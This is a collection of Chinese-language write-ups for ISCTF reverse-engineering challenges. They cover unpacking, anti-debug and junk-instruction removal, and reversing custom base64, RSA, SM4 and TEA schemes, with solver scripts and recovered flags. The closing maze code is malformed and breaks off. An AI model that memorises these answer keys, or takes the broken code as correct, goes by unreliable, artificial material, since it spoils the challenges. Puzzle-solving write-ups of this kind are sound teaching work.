print([i^j for i,j in zip([0x69, 0xA9, 0x3D, 0x67, 0xDF, 0xB6, 0x03, 0xF5, 0xB8, 0x8D, 0xB7, 0x9F, 0xBD, 0xD1, 0x48, 0xCA, 0xA7, 0x0C, 0x84, 0x82, 0x12, 0xF2, 0x73, 0xFE, 0x37, 0xC4, 0xBF, 0xBC, 0xBD, 0xC1, 0x50, 0x41, 0xFC, 0xE4, 0xA3, 0x18, 0x49, 0x9F, 0x80, 0xA7, 0x6C, 0xBB, 0x1F, 0x3F, 0xA4, 0xC3, 0xFD, 0x15, 0xF9, 0x22, 0x6E, 0xA3],[ord(i) for i in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"])])

最终得到这个v42数组为

[40, 235, 126, 35, 154, 240, 68, 189, 241, 199, 252, 211, 240, 159, 7, 154, 246, 94, 215, 214, 71, 164, 36, 166, 110, 158, 222, 222, 222, 165, 53, 39, 155, 140, 202, 114, 34, 243, 237, 201, 3, 203, 110, 77, 215, 183, 136, 99, 142, 90, 23, 217]

F8步过就到了这里,说明加密完毕

img

下边两个check是很简单的判断,fake_check返回的是1,是个永真,所以是fake

而check在if的上边,返回的是个bool值,并且这个v49是拿的v41的值,而v41是加密后的flag

img

img

这里可以看出来v47其实就是封装过后v36的值

我们直接看v36即可

导出来v36的值为

[0x61, 0xB8, 0x3D, 0x77, 0xDC, 0x8B, 0x36, 0xC8, 0x82, 0xB3, 0xA3, 0xE2, 0xC4, 0xC0, 0x6A, 0xFF, 0x9B, 0x6E, 0xA5, 0xAF, 0x14, 0xC5, 0x42, 0xC3, 0x31, 0xF2, 0xBF, 0x90, 0xB9, 0xFA, 0x13, 0x01, 0xC4, 0xF5, 0xA5, 0x07, 0x7D, 0xB3, 0x9F, 0xAC, 0x5C, 0x8C, 0x5E, 0x22, 0xB3, 0xE8, 0xC8, 0x3C, 0xDC, 0x39, 0x23, 0xA4, 0x55]

well,我们捋一下思路:

输入的flag和v42这个数组异或了,异或之后与v36进行比较。

那只需要v42和v36这个数组进行异或,不就是flag了?

看似逻辑很对,但实际上严格来说我们还缺一步,即v42与flag的相关性,我们不妨换个flag,用ISCTF标头来输入进去,最后发现加密后的flag的前几个值就是v36的前几个。也就是证明了v42与flag无关,是固定的一个数组。

写个脚本

v36 = [97, 184, 61, 119, 220, 139, 54, 200, 130, 179, 163, 226, 196, 192, 106, 255, 155, 110, 165, 175, 20, 197, 66, 195, 49, 242, 191, 144, 185, 250, 19, 1, 196, 245, 165, 7, 125, 179, 159, 172, 92, 140, 94, 34, 179, 232, 200, 60, 220, 57, 35, 164, 85]
v42 = [40, 235, 126, 35, 154, 240, 68, 189, 241, 199, 252, 211, 240, 159, 7, 154, 246, 94, 215, 214, 71, 164, 36, 166, 110, 158, 222, 222, 222, 165, 53, 39, 155, 140, 202, 114, 34, 243, 237, 201, 3, 203, 110, 77, 215, 183, 136, 99, 142, 90, 23, 217]

print(''.join([chr(i^j) for i,j in zip(v36,v42)]))

在逆向尽头咏唱密码的少女

出题人:guoql

解题过程:

这道题的难点其实就3个

第一点就是大家可能用工具没办法直接脱掉upx外壳

需要用upx官方的工具

img

这个脱一下壳就行

upx.exe -d found -o dec_found

然后逆向分析

当然这道题主要是逆向难度比较大啊,毕竟用的arm架构编译的,可能部分同学没办法动调,得自己启qemu去做虚拟机套娃之类的乱七八糟的东西,这里按下不表了。

密码学就是很多密码手都会的

如果直接做的话就是p-1光滑数

给的hint也可以直接用coppersmith求解p和q

这个东西主要是自己出题时候实现了两点

1、所有的数据结构都用结构体来实现了(包括寄存器和栈结构)

2、密码学函数也是自己写的(题目里边用了最原始的很慢的那种字符串转化......主要是加大逆向难度,所以才需要3小时去生成p-1光滑数)

简单聊一下里边的一些东西

首先是喜闻乐见的ptrace啊(

img

这里就是跟srand有关的了

img

这里进行输入flag,然后进到了56DC这个函数

img

再往下就是进入203C这个函数,返回了一个v6,下边的if就是进行判断是否正确了

那么这个203C就是个判断是否正确的函数

img

这里的v17就是上边那一大串,也就是v13

img

而v15,就是在这里的v11,合理推测就是56DC的返回值。

也就是说,56DC很可能就是加密函数enc

进到enc函数里边

就需要动态调试来猜函数的意思了

同时涉及到对寄存器的操作来修改传参值,从而猜出来这些密码学函数的含义

img

简单介绍一下前边的内容,就是前边所说的对栈和结构体进行了实现,一个是push入栈,一个是pop出栈,这里动调很明显就能看出来这里实际就是对flag进行了倒序(因为是栈,入栈再出栈自然就颠倒顺序了),并且进行了一下加密,加上了一个v11,这个v11实际上就是循环次数。

也就是,这里等价于

enc1 = [ord(i)+j for i,j in enumerate(flag)][::-1]

函数2280则实际上是base64的加密

img

有一个qword_19030这个全局变量

我们交叉引用就能发现是在sub_2EE4这个函数里边被改变了

img

而2EE4这个函数,实际上是在enc这个函数的开头就被执行了

img

动调就可以发现,里边实际上就是rand了两个随机数

img

然后进到了12F8这个函数

当然很多东西都可以动调出来,包括这里这个21F8调试就会发现实际上是对这个base64的表进行一个交换处理

当然这个也不难看出来,就是用了一点小手段

img

在里边实际上使用的是异或交换

到目前为止,我们大致已经顺下来了,也就是将输入的字符进行一个base64加密,其中发生了码表的替换,而这个替换用的是rand函数,而srand又在前边依据的是我们的随机数值。

当然这需要你对base64有着比较深刻的理解

我们来回忆一下base64是如何加密的?

输入3个字符,每个字符8bit,共24bit

分割成4个6bit,然后根据这6bit对应的数字,去码表里边按照这个数字当索引,去找对应的字符,最后拼接到一起。

我们除了变更了base64的码表之外,我们还可以在分割6bit的顺序上发生变化。

大家注意一下这里这点,将对应的24bit提取出来,按照加密的顺序恢复出来原先的3个8bit即可。

img

接着往下,回到上一个函数。这里的这个,就是需要动调才能比较清晰的看出来了

5620这个函数实际上就是string_to_number,也就是bytes_to_long这个密码学函数

将字符串转化为数字

而下边的5054就是关键的RSA加密函数

img

进来之后,就可以发现实际上是调用了这个sub_3BD0

动调或者其他手段都可以看出来这里实际上的v11是传进来的a1,v15是传进来的a2,而v13是上边那个字符串常数,415031

而a1,就是我们前边bytes_to_long之后的数,a2是前边那个很大的数字

img

这里推荐大家动调改改参数看看,就能够比较容易的看出来是个powmod函数,也就是求a的b次幂后对n取余。

标准的RSA加密流程。

这个加密呢,也不难,大家可以在hint(就前边输入的时候选择第二项)函数里边去慢慢摸索

这里简单提一下

img

进到hint里边,我们要关注的实际上还就是这几个函数

img

前边的东西都是跟结构体相关,用来混淆的

首先是sub_214C这个

img

这儿还隐藏了一个结构体

qword_19028这个也是一个结构体指针

如果你仔细看的话会发现这里是个自己实现的 带头结点的单链表 结构。

但还是那句话,动调解决一切困难。

这里把重命名之后的截图放出来

img

实际上就是生成了前10000个质数

有一说一如果比较熟悉这块的密码手看见前10000个质数,就能注意到是这个密码学函数

sieve_base

实际上也是这么干的。

当然上边也实现了诸如is_prime之类的,实现的方法也比较简单粗暴,用了费马小定理筛素数,同时加入了卡迈克尔数的判断来防止出现伪素数。

img

我们回到这里的sub_58D0

这个函数实际上就是生成真正的素数的了。

正如我们前边所说

这里传入进来的v4实际上就是sieve_base,也就是前边所生成的前10000个素数列表

里边的函数确实错综复杂用到了很多密码学的函数

而这里也是为什么要用2-3个小时才能产生hint的原因

大致说一下主要逻辑

用前10000个素数里边随机抽几个,组成512位长的数,拿这个数+1,然后确认这个新的数是奇数还是偶数(如果是偶数,看都不用看肯定不是素数,弃掉继续生成),如果是奇数,扔到is_prime里边检查一下,如果是真的就返回这个数,如果不真就继续生成。

说白了就是下边这个函数...

from Crypto.Util.number import isPrime, sieve_base as primes

def myPrime(bits):
    while True:
        n = 2
        while n.bit_length() < bits:
            n *= choice(primes)
        if isPrime(n + 1):
            return n + 1

这就是这道题的一个全貌了,本来想用rust写的,但是一方面考虑到rust写基础数据结构有点抽象,再加上rust的llvm前边出的简单题都已经emmm,比较拟人...。所以还是用了C++。另外提一嘴,这里用string之类的一方面是方便大家看懂,后边就用数组了,而且密码学算法也被我稍微优化了一下,只不过没有扔到题上,还是用的老方法(其实我感觉真正慢的就是加减乘除这种基础函数的string来回切换和new,free非常费时费力)

解密就是很简单的,将N按照p-1光滑来进行分解

from gmpy2 import *
from libnum import n2s,s2n


c = 128519967952685054812572305257399537612475994166834214626695487888778028356955345252500082003346851020469650513237958861187825773997758622599352004208565133867113422172153699492631898725377689218545021901160616458294545356522910173917769073995035030251309651127389112757775657292036689449398378827840921213908
N = 903766297527309043432813459168085573186811052073673876089871088626023550277338057398936183864600668692872452596818287866307915481680014188912262917847812869621470758033895388005727907999316120928609013879749190295002251852121718518552124505708148140684456535072443185398778976495346115976290599931469329158821
e = 415031

def crack(N):
    a = 2
    n = 2
    while True:
        a = powmod(a, n, N)
        res = gcd(a-1, N)
        if res != 1 and res != N:
            q = N // res
            print("p=",res)
            print("q=",q)
            return res,q
            break
        n += 1


p,q = crack(N)
phi = (p-1)*(q-1)
d = invert(e,phi)
m = pow(c,d,N)
print(n2s(int(m)))
p= 30587408896374646694182652610095615345555439991095113491602196428298872586609366283849697868554737633613219755125387976861277045791203682668854239210589287
q= 29547004147658527970197769130940009843242006356539564796217096782314859812181532816748715439881069239690622743899668375434696804579800743291266171661304083
得到这串base64
ZH3IHq+zhYejqa/YF8ZE5KBEx79yxKQYoi7vo7C6wDPEwX1mb+zb

然后就是解决这个变表问题了

将srand的值修改成正确的值(0x191981)(来自后期补写:才发现ptrace并没有起到作用,实际上还是这个值...乐)

然后动调调试,或者其他方法也可以得到

这里使用的是我自己写的一个cpython的库,专门用来解决Window,linux之类的随机数乱七八糟没法用python解决的,有点类似于unsafe那种,总之这里简单解释一下要用到的函数)

pub fn getRandTime_linux(seed: usize, length: usize) -> Vec<usize>;

也就是用seed生成length个随机数,返回一个list(为了显示类型就用了rust的写法,但实际上这玩意儿包是个python函数的)

给出对应的c代码

如果没有对应的库也可以通过在linux中编译下边的c来得到真正的码表

#include <iostream>
#include <random>
#include <string>
using namespace std;

int main(void){
        string new_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        srand(0x191981);
        for(int i = 0; i < 256; i++){
                int r1 = rand() % 64;
                int r2 = rand() % 64;
                if(r1 == r2){
                        continue;
                }
                char temp = new_list[r1];
                new_list[r1] = new_list[r2];
                new_list[r2] = temp;
        }
        cout<<new_list<<endl;
        return 0;
}

最终会得到下边的东西:

LskT1P9/N+RdDrn5ubfBhzlXtOHaUyoxwGqF6IQpZmWS2jJA4EV7K3C8evcgMYi0

当然你动调也是OK的)

拿到码表之后就是分析base64是如何操作字节的,然后进行解密了

table = "LskT1P9/N+RdDrn5ubfBhzlXtOHaUyoxwGqF6IQpZmWS2jJA4EV7K3C8evcgMYi0"

enc = "ZH3IHq+zhYejqa/YF8ZE5KBEx79yxKQYoi7vo7C6wDPEwX1mb+zb"

def base64_decode(msg):
    assert len(enc) % 4 == 0
    result = []
    for pos in range(0, len(enc), 4):
        per_data = msg[pos : pos + 4]
        pos_data = [table.index(i) for i in per_data]
        bit_data = "".join([bin(i)[2:].rjust(6,"0") for i in pos_data])

        str1_3_8 = bit_data[0*6:1*6]
        str1_1_2 = bit_data[2*6:2*6+2]
        str1 = str1_3_8 + str1_1_2
        str2_5_8 = bit_data[2*6+2:3*6]
        str2_1_4 = bit_data[3*6:3*6+4]
        str2 = str2_5_8 + str2_1_4
        str3_7_8 = bit_data[3*6+4:4*6]
        str3_1_6 = bit_data[1*6:2*6]
        str3 = str3_7_8 + str3_1_6
        result.append(int(str1,2))
        result.append(int(str2,2))
        result.append(int(str3,2))

    return result
print("".join([chr(j-i) for i,j in enumerate(base64_decode(enc)[::-1])]))

well,其实你有更多方法去实现解密,因为这个解密实际上就是调换了一下几个的位置,原先顺序是0123,这里就是0231,你给他恢复成对应的位置,然后再直接用这个码表去进行base64解密就行了,这题主要是各种混淆加太多了,乐。

不过由于实践中还是很多都是include别人自己写的一套算法,可能唯一有点刻意上难度的就只有数据结构也都是自己写的了吧)(这个有一说一是当时写上头了,就想着干脆数据结构也来自己干吧...)

Ezre

出题人: A1gorithms

解题过程:

img

简单的魔改Caeser,只对大写字母进行了处理

img

根据key进行+偏移,-回去就好了

void decaeser(char* text, int len, char* key) {

    for (int i = 0; i < len; i++) {
        char ch = text[i];

        // 处理大写字母
        if (ch >= 'A' && ch <= 'Z') {
            ch = (ch - key[i % 5]+26) % 26 + 'A';
        }


        text[i] = ch;
    }

}

img

嘿嘿嘿

出题人: A1gorithms

解题过程:

一个简单的反调试及smc和sm4魔改

img

img

img

然后u将数据转为未定义,然后c全部转成code

然后再1400014A0地址处创建成函数,也可以手托选中p

img

相对与标准的多异或了一个0xa1

分析到这里其实也差不多了,剩下的全是标准的可以自行学习一下sm4 ecb模式,这里原理推荐看B站的一个up主叫可厉害的土豆,个人觉得她加密算法讲的蛮好懂的。

接下来进行解密

可以直接找个标准的过来,再密钥扩展那多了个^0xa1。

sm4在解密的时候也是会调用加密里面使用到的函数算法。

不同点就是,要把轮密钥RK反转过来再去进行32轮迭代,就能拿到原文,然后再把32bit数据分成4个8bit的数据进行反转。

img

img

img

还是推荐做ctf逆向的新生学习一些加密算法实现原理。

#define _CRT_SECURE_NO_WARNINGS 1
#include<stdio.h>
#include <stdint.h>
#include <string.h>
#define u8 unsigned char
#define u32 unsigned long

// S盒
const u8 Sbox[256] = {
        0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
        0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
        0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
        0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
        0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
        0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
        0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
        0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
        0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
        0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
        0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
        0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
        0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
        0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
        0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
        0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
};

// 密钥扩展算法的常数FK 
const u32 FK[4] = {
        0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc
};

// 密钥扩展算法的固定参数CK 
const u32 CK[32] = {
        0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
        0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
        0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
        0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
        0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
        0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
        0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
        0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
};

u32 functionB(u32 b); // 查S盒的函数B 
u32 loopLeft(u32 a, short length); // 循环左移函数 
u32 functionL1(u32 a); // 线性变换L
u32 functionL2(u32 a); // 线性变换L'
u32 functionT(u32 a, short mode); // 合成变换T
void extendFirst(u32 MK[], u32 K[]); // 密钥扩展算法第一步
void extendSecond(u32 RK[], u32 K[]); // 密钥扩展算法第二步
void getRK(u32 MK[], u32 K[], u32 RK[]); // 轮密钥获取算法
void iterate32(u32 X[], u32 RK[]); // 迭代算法
void reverse(u32 X[], u32 Y[]); // 反转函数 
void encryptSM4(u32 X[], u32 RK[], u32 Y[]); // 加密算法
void decryptSM4(u32 X[], u32 RK[], u32 Y[]); // 解密算法


u32 functionB(u32 b) {
        u8 a[4];
        short i;
        a[0] = b / 0x1000000;
        a[1] = b / 0x10000;
        a[2] = b / 0x100;
        a[3] = b;
        b = Sbox[a[0]] * 0x1000000 + Sbox[a[1]] * 0x10000 + Sbox[a[2]] * 0x100 + Sbox[a[3]];
        return b;
}


u32 loopLeft(u32 a, short length) {
        short i;
        for (i = 0; i < length; i++) {
                a = a * 2 + a / 0x80000000;
        }
        return a;
}


u32 functionL1(u32 a) {
        return a ^ loopLeft(a, 2) ^ loopLeft(a, 10) ^ loopLeft(a, 18) ^ loopLeft(a, 24);
}


u32 functionL2(u32 a) {
        return a ^ loopLeft(a, 13) ^ loopLeft(a, 23);
}


u32 functionT(u32 a, short mode) {
        return mode == 1 ? functionL1(functionB(a)) : functionL2(functionB(a));
}


void extendFirst(u32 MK[], u32 K[]) {
        int i;
        for (i = 0; i < 4; i++) {
                K[i] = MK[i] ^ FK[i];
        }
}


void extendSecond(u32 RK[], u32 K[]) {
        short i;
        for (i = 0; i < 32; i++) {
                K[(i + 4) % 4] = K[i % 4] ^ functionT(K[(i + 1) % 4] ^ K[(i + 2) % 4] ^ K[(i + 3) % 4] ^ CK[i], 2) ^ 0xA1;
                RK[i] = K[(i + 4) % 4];
        }
}


void getRK(u32 MK[], u32 K[], u32 RK[]) {
        extendFirst(MK, K);
        extendSecond(RK, K);
}


void iterate32(u32 X[], u32 RK[]) {
        short i;
        for (i = 0; i < 32; i++) {
                X[(i + 4) % 4] = X[i % 4] ^ functionT(X[(i + 1) % 4] ^ X[(i + 2) % 4] ^ X[(i + 3) % 4] ^ RK[i], 1);
        }
}


void reverse(u32 X[], u32 Y[]) {
        short i;
        for (i = 0; i < 4; i++) {
                Y[i] = X[4 - 1 - i];
        }
}

void encryptSM4(u32 X[], u32 RK[], u32 Y[]) {
        iterate32(X, RK);
        reverse(X, Y);
}


void decryptSM4(u32 X[], u32 RK[], u32 Y[]) {
        short i;
        u32 reverseRK[32];
        //密钥倒过来
        for (i = 0; i < 32; i++) {
                reverseRK[i] = RK[32 - 1 - i];
        }

        iterate32(X, reverseRK);
        reverse(X, Y);
}

int check(u32 Input[], u32 Enc[], int Len) {
        int i = 0;
        for (i = 0; i < Len; i++) {
                if (Input[i] != Enc[i]) {
                        return 0;
                }

        }
        return 1;
}

int main(void) {
        u32 enc[] = { 0xa8f44759,0xcdb824f2,0x32fb3c01,0x42beffe1,
                                        0x3ec30b40,0xe094aa46,0x2aea2b,0x362c0888 ,0 };
        u32 X[9] = { 0 }; // 明文 
        u32 MK[4] = { 0x636c6557,0x5f656d6f,0x495f6f74,0x46544353 }; // 密钥 
        //u32 MK[4] = { 0 };
        u32 RK[32]; // 轮密钥  
        u32 K[4]; // 中间数据 
        u32 Y[13] = { 0 }; // 密文 
        int len = 0;
        short i; // 临时变量

        getRK(MK, K, RK);



        for (i = 0; i < 2; i++) {

                decryptSM4(&enc[i * 4], RK, &X[i * 4]);
               
        }

        puts((char*)X);
        return 0;
}

桀桀桀

出题人: A1gorithms

解题过程:

img

这里的考点就是z3解方程解出来是ISCTF

然后后面会利用这个去生成随机数种子

from z3 import *
S = Solver()
# seed = "ISCTF"
# seed = [ord(i) for i in seed]
seed = [0]*5
for i in range(len(seed)):
    seed[i] = Int("seed["+str(i)+"]")
num = 0


S.add(seed[0] * seed[1] * 1024 - 6204416 == 0)
S.add((seed[1]-1) * (seed[1]+1) - 6888 == 0)
S.add(seed[2] + seed[3] - 151 == 0)
S.add(seed[2] * 2048 - seed[3] - 137132 == 0 )
S.add(seed[0]+seed[1]+seed[2]+seed[3]+seed[4] - 377 == 0)

if S.check():
    sat = S.model()


print(sat)
seed[4] = 70
seed[1] = 83
seed[3] = 84
seed[2] = 67
seed[0] = 73
print(bytes(seed))

img

让我们看一下魔改tea

img

nop掉我框柱的004119e6去除花指令

img

魔改逻辑就是通过if去替换key和delta值

不过这里我设计了一个坑,我写了个tls把原本的key修改了

img

继续nop这里去除tls里面的花指令

img

发现无法f5

这里我添加了一个影响栈平衡的花指令

img

这一段实际上没用任何意义

call一下又pop了一个eax

将这一块nop掉

就能f5了

img

这里将tea的key异或了0xA1

再解tea的时候要把key异或0xA1

tea这一块分析完了之后,继续向下分析

img

img

只有strlen????,这里也有一个花指令,导致代码分析不完全

Nop掉就好了

img

img

将随机数分成了两部分进行异或

最后就是check了,check里面我没添加任何奇怪的东西

所以现在解密流程就是

Xor ---> Tea

void DeTea(char* enc, uint32_t* key, uint32_t XorNum) {
        uint32_t k1, k2, k3, k4;
        uint32_t sum, delta;
        uint32_t v1, v2;
        uint32_t* flag = NULL;
        int index = 0;
        int c = 0;
        flag = (uint32_t*)enc;
        int key1, key2, len;
        int i = 0;
        key1 = XorNum >> 6;
        key2 = XorNum - (key1 << 6);
        len = strlen(enc);
        for (i=0; i < len; i++) {
                if (i % 2) {
                        enc[i] ^= key1;
                }
                else {
                        enc[i] ^= key2;
                }

        }
        k1 = key[2], k2 = key[3], k3 = key[0], k4 = key[1];
        for (c = 0; c < 4; c++) {
                delta = 0x114514;
                k1 = key[2], k2 = key[3], k3 = key[0], k4 = key[1];
                sum = delta * 8 + 24 * 0x9e3779b9;
                v1 = flag[c * 2];
                v2 = flag[c * 2 + 1];
                for (index=0; index < 32; index++) {

                        v2 -= ((v1 << 4) + k3) ^ (v1 + sum) ^ ((v1 >> 5) + k4);
                        v1 -= ((v2 << 4) + k1) ^ (v2 + sum) ^ ((v2 >> 5) + k2);
                        sum -= delta;
                        if (index == 7) {
                                delta = 0x9e3779b9;
                        }
                        else if (index == 15) {
                                k1 = key[0];
                                k2 = key[1];
                                k3 = key[2];
                                k4 = key[3];
                        }

                }
                flag[c * 2] = v1;
                flag[c * 2 + 1] = v2;
        }
}

这里给一个解密模板,请自己构造传参以及修改key和伪随机数

我在源码中直接调用即可

img

《回忆安魂曲》--第二章:当记忆被割裂

出题人:h1m

解题过程:

flag = 'ISCTF{as_her_never_will_come_back!!}'
key =  'i_can_reverse_but_i_can_not_have_you'
a = []
for i in range(len(flag)):
    a.append(((ord(flag[i])^((i + 0x66) ^ 0x52))+6)^(ord(key[i])+i))
print(a)
arr = [234, 12, 26, 17, 246, 44, 29, 62, 23, 53, 49, 41, 244, 57, 57, 211, 195, 45, 0, 16, 48, 61, 204, 0, 211, 192, 75, 198, 17, 199, 41, 62, 186, 96, 400, 52]
hex_str = ''.join([f'\\x{hex(x & 0xFF)[2:].zfill(2)}' if x >= 0 else f'\\x{hex(256 + x)[2:].zfill(2)}' for x in arr])
print(hex_str)
# arr = [234, 12, 26, 17, 246, 44, 29, 62, 23, 53, 49, 41, 244, 57, 57, 211, 195, 45, 0, 16, 48, 61, 204, 0, 211, 192, 75, 198, 17, 199, 41, 62, 186, 96, 400, 52]
# key =  'i_can_reverse_but_i_can_not_have_you'
# flag = ''
# for i in range(len(arr)):
#     flag += chr(((arr[i]^(ord(key[i])+i))-6)^((i + 0x66) ^ 0x52))
# print(flag)
# print(len(flag))
#include <stdio.h>
#include <string.h>
#define BEGIN_OBFUSCATE(N) \
  void *__next[(N)+1];     \
  unsigned __n = 0;
#define END_OBFUSCATE     \
  __next[__n] = &&__end;  \
  __n = 0;                \
  goto *__next[__n++];    \
__end:
#define EXEC(stmt)        \
  {                       \
    __label__ skip, here; \
    goto skip;            \
  here:                   \
    stmt;                 \
    goto *__next[__n++];  \
  skip:                   \
  __next[__n++] = &&here; \
  }
unsigned char ans[] = "\xea\x0c\x1a\x11\xf6\x2c\x1d\x3e\x17\x35\x31\x29\xf4\x39\x39\xd3\xc3\x2d\x00\x10\x30\x3d\xcc\x00\xd3\xc0\x4b\xc6\x11\xc7\x29\x3e\xba\x60\x90\x34";
unsigned char key[] = "\x69\x5f\x63\x61\x6e\x5f\x72\x65\x76\x65\x72\x73\x65\x5f\x62\x75\x74\x5f\x69\x5f\x63\x61\x6e\x5f\x6e\x6f\x74\x5f\x68\x61\x76\x65\x5f\x79\x6f\x75";
//i_can_reverse_but_i_can_not_have_you
//XIUSEC{as_her_never_will_come_back!}
unsigned char enc(unsigned char c, int i) {
    BEGIN_OBFUSCATE(5);
    unsigned char o, k;
    EXEC(o = c);
    EXEC(o ^= ((i + 0x66) ^ 0x52));
    EXEC(o += 6);
    EXEC(k = key[i]);
    EXEC(o ^= (k + i));
    END_OBFUSCATE;
    return o;
}
int check(unsigned char* flag) {
    BEGIN_OBFUSCATE(3);
    int ok;
    EXEC(if (strlen(flag) != 36) return 1; );
    EXEC(ok = 1; );
    EXEC(
        for (int i = 0; i < 36; i++) {
            ok &= enc(flag[i], i) == ans[i];
        }
            );
    END_OBFUSCATE;
    return !ok;
}
int main() {
    BEGIN_OBFUSCATE(6);
    int r;
    unsigned char flag[100];
    EXEC(memset(flag, 0, sizeof(flag)); );
    EXEC(printf("想必你也做出上一个题目了,哈哈,可即使你找到了所谓的记忆也没用了,我会将她的记忆从你的脑中彻底删除,哈哈哈哈,你再也不会记得她了(恶魔的笑语)\n"); );
    EXEC(printf("这个装置会摧毁你的记忆大脑,让所有的一切都不复存在,哈哈哈哈,可怜人,再见咯!!!(任务,找到flag进行提交才能终止记忆被彻底删除)\n"); );
    EXEC(if (scanf("%99s", flag) != 1) return 1; );
    EXEC(r = check(flag); );
    EXEC(
        if (r == 0) {
            puts("提交成功,触发剧情:\n");
            puts("恶魔:你怎么找到那个?你为什么如此执着于你的记忆?这一切都已经成定局了\n");
            puts("CTFer:我也试图拼好一切回到过去,可是,在我这么多寻找中我发现了,其实无论结果怎么样,我享受了过程,而你,却要删除他们的一切记忆,这里的一切(注意:这里有个彩蛋1,找到可以理解剧情)\n");
            puts("恶魔:我在帮他们,帮他们解脱!!!\n");
            puts("CTFer:可他们总该去面对这一切,即使失败了,也要面对,可是你却无情的剥夺了给他们的记忆\n");
            puts("恶魔:你在放屁,你这家伙满嘴胡言,你也为我什么都没有了么,哈哈,我还有一个装置,我要将你们摧毁,啊啊啊啊\n");
            puts("????一阵骚动,那个家伙现出原型,憎怒之魔出现了\n");
            puts("恶魔:我要彻底毁掉一切!!!\n");
            puts("请开始后面的挑战!!!\n");
        }
        else
            puts("达成坏结局:完不成的再见!");
    );
    END_OBFUSCATE;
    return 0;
}
ISCTF{as_her_never_will_come_back!!}

《回忆安魂曲》--第三章:逃不出的黑墙

出题人:h1m

解题过程:

#include <stdio.h>  
#include <stdbool.h>  
#include <memory>
#define ROWS 5 
#define COLS 5 
char maze[ROWS][COLS] = {
    {'#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#'}
{'#','.','#','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','#','.','.','.','#','.','.','.','.','.','.','.'}
{'#','.','#','#','#','#','#','.','#','#','#','.','#','#','#','#','#','.','#','.','#','#','#','.','#','#','#','#','#','.'}
{'#','.','.','.','.','.','#','.','.','.','#','.','#','.','.','.','.','.','#','.','.','.','#','.','#','.','.','.','#','.'}
{'#','#','#','#','#','.','#','.','#','#','#','.','#','.','#','#','#','#','#','#','#','.','#','.','#','.','#','#','#','.'}
{'#','.','.','.','#','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','#','.','#','.','.','.'}
{'#','.','#','.','#','.','#','.','#','.','#','#','#','.','#','.','#','.','#','.','#','#','#','.','#','.','#','.','#','.'}
{'#','.','#','.','#','.','#','.','#','.','.','.','#','.','.','.','#','.','#','.','.','.','.','.','.','.','#','.','#','.'}
{'#','.','#','#','#','.','#','.','#','#','#','.','#','#','#','#','#','.','#','#','#','#','#','#','#','#','#','.','#','#'}
{'#','.','#','.','.','.','#','.','.','.','#','.','.','.','.','.','#','.','#','.','.','.','.','.','.','.','#','.','.','.'}
{'#','.','#','.','#','#','#','#','#','.','#','#','#','#','#','.','#','.','#','.','#','#','#','#','#','.','#','#','#','.'}
{'#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','#','.','.','.'}
{'#','.','#','#','#','.','#','.','#','#','#','.','#','.','#','#','#','#','#','#','#','.','#','.','#','.','#','.','#','.'}
{'#','.','.','.','#','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','#','.'}
{'#','#','#','.','#','.','#','.','#','#','#','#','#','.','#','.','#','.','#','.','#','#','#','#','#','#','#','.','#','#'}
{'#','.','#','.','.','.','#','.','.','.','.','.','#','.','.','.','#','.','#','.','#','.','.','.','#','.','.','.','.','.'}
